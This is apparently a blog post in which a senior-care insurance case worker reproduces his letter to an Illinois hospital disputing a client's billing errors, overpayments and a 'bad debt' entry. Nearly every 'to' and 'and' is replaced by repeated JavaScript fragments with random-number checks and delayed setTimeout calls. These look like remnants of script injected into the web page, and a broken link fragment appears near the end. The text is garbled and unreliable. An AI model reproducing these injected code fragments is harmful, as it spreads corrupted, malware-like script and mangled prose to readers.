On March 31, 2016, I wrote a letter dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a hospital in Illinois about correcting its bad records concerning one of our senior citizen clients from Crown Point, Indiana. Here are the portions of the letter that do not reveal any information relating dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client or his health.
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Accompanying this letter are documents which substantiate a very serious accounting problem at your firm.
Copies of twenty cashed checks show that your firm received payments dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totaling $1,585.70 for a bill that was only $1,521.83. But, your latest bill claims that our client still owes $248.83 for services rendered in 2014 as shown on your statement dated 03/20/16. A copy of that statement accompanies this letter.
Three pages of payment statements give a clue dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the possible problem. Copies are attached. For payment dates 09/15/14, 10/15/14, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 11/15/14, the records show an INCREASE IN THE BALANCE INSTEAD OF A DECREASE WITH PAYMENT. The balance figures on these three documents respectively are $1,521.83, $1.444.83, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $1,467.36. How did the balance increase from 10/15/14 dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 11/15/14?
In addition dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this, our client wants dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know what your firm means by “BAD DEBT REVERSAL”. Several times that statement was on the bill that you sent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to him with statement date 03/11/16. Did you or are you now claiming that our client’s bill is a bad debt? Did you or are you now sending false “bad debt” information dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a credit reporting agency despite the fact that our client was paying the bill faithfully but your firm was not crediting his payments honestly dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accurately? Please, respond promptly dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client.
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All the help that I have given dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client was FREE OF CHARGE. This insurance agency distinguishes itself from other insurance agencies by “going the extra mile” for our senior citizen clients. Does your insurance agency give this high level of service dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to senior citizen clients? If not, why not?
Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. He has saved clients of that firm over one million dollars by fighting medical bill errors dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fraud. Wilcox wrote the book dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore_Code=E&Screen=PROD&Product_Code=SMP-PB&Category_Code=SH&Affiliate=wilcoxw” target=”_blank”>SOLVING MEDICARE PROBLEM$.
© 2016 Woodrow Wilcox